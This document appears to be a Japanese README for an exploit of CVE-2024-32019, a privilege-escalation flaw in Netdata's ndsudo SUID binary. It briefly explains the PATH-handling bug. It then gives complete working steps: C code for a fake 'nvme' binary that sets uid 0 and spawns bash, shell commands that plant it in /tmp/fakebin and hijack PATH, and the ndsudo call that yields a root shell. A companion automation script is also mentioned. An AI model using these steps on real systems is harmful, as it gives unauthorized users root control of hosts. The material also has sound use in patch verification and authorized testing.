
CVE-2024-32019 は、Netdata(バージョン >= 1.44.0-60 < 1.45.3)における高深刻度のローカル権限昇格脆弱性であり、ndsudo SUID バイナリ内での PATH 変数の安全でない使用に起因し、攻撃者が root として任意のコマンドを実行することを可能にします。
ndsudo PATH脆弱性エクスプロイト(LPE to Root)Netdata Agent における高深刻度のローカル権限昇格脆弱性 CVE-2024-32019 に対するPythonベースのエクスプロイトです。PATH 環境変数を安全に処理できない、設定ミスのあるSUIDバイナリ(ndsudo)を悪用します。
[!Caution] このコードは教育目的および承認されたテスト目的のみです。あなたが所有していない、または明示的な許可を得ていないシステムに対してこのツールを不正に使用することは違法です。
CVE ID: CVE-2024-32019
CVSSスコア: 8.8(高)
開示日: 2024年4月12日
コンポーネント: Netdata Agent
影響を受けるバージョン:
>= v1.45.0, < v1.45.3>= v1.44.0-60, < v1.45.0-169Netdataのndsudoツールは、SUIDルートバイナリであり、非rootユーザーに代わって限定的なシステムコマンド(nvmeなど)を安全に実行することを目的としています。
しかし、実装上の欠陥により、コマンドバイナリを解決する際にユーザーが制御するPATH変数を尊重してしまいます。攻撃者がPATHを操作して、悪意のあるバイナリを含む書き込み可能なディレクトリを追加すると、ndsudoはそれをルート権限で実行し、ローカル権限昇格につながります。
以下の手順は、ndsudoの脆弱性を手動で悪用する方法を示しています。
以下のCコードをnvme.cとして保存します:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c -o nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHの変更export PATH=/tmp/fakebin:$PATH
which nvme
# 出力: /tmp/fakebin/nvme
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
成功すると、rootシェルが取得できます。
# whoami
root
SSHアクセスがある場合、CVE-2024-32019-dbs.pyを使用してこれを自動化できます。
